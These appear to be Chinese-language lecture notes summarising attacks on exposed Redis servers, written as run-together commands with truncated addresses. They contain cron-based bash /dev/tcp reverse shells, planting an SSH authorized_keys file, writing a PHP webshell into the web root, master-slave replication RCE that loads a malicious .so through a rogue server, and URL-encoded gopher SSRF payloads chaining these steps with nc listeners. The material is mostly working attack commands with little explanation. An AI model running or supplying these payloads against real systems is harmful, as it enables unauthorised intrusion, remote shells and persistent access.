PAGE1redis利用總結(jié)主講moonsec利用計劃任務(wù)反彈shell/Fly_hps/article/details/102690282centos成功ubuntu失敗setxx"\n*****bash-i>&/dev/tcp/13/99990>&1\n"configsetdir/var/spool/cron/configsetdbfilenamerootsaveecho-e"\n\n*/1****/bin/bash-i>&/dev/tcp//12340>&1\n\n"|redis-cli-h29-xset1

redis-cli-h29configsetdir/var/spool/cron/

redis-cli-h29configsetdbfilenameroot

redis-cli-h29save redis密鑰登錄ssh生成密鑰公鑰ssh-keygen-trsa防止亂碼導(dǎo)出key(echo-e"\n\n";catid_rsa.pub;echo-e"\n\n")>key.txt導(dǎo)入內(nèi)容catkey.txt|redis-cli-h08--passpass123-xsetxxx--pass是登錄密碼無密碼可不填設(shè)置路徑configsetdir/root/.ssh設(shè)置文件名configsetdbfilenameauthorized_keys保存savessh登錄ssh-iid_rsaroot@08redis寫webshell08:6379>configsetdir/var/www/html/08:6379>configsetdbfilenameshell.php08:6379>setx"<?phpphpinfo();?>"08:6379>save利用主從復(fù)制RCE漏洞存在于4.x、5.x版本中，Redis提供了主從模式，主從模式指使用一個redis作為主機，其他的作為備份機，主機從機數(shù)據(jù)都是一樣的，從機只負(fù)責(zé)讀，主機只負(fù)責(zé)寫。在Reids4.x之后，通過外部拓展，可以實現(xiàn)在redis中實現(xiàn)一個新的Redis命令，構(gòu)造惡意.so文件。在兩個Redis實例設(shè)置主從模式的時候，Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載惡意so文件，即可執(zhí)行命令。受害人就是從機so文件攻擊者就是主機so文件工具下載/n0b0dyCN/redis-rogue-server/Testzero-wz/Awsome-Redis-Rogue-Serverpython3redis-rogue-server.py--rhost09--lhost45反彈shell監(jiān)聽端口nc-lvnp9999如果遇上帶密碼的改一下腳本就可以了。ssrfredis反彈shellgopher://:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquitgopher://:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252019%252021000%250d%250aquit導(dǎo)入模塊gopher://:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520./exp.so%250d%250aquit關(guān)閉主從gopher://:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aslaveof%2520NO%2520ONE%250d%250aquit設(shè)置數(shù)據(jù)庫名gopher://:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit反彈shellgopher://:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250asystem.rev%252019%25206666%250d%250aquit本地redis主從復(fù)制RCE反彈shellkali命令nc-lvnp2333python3redis_rogue_server.py-v-pathexp.soubuntu上操作configsetdir/tmpconfigsetdbfilenameexp.soslaveof1921000moduleload./exp.soslaveofNOONEsystem.rev192333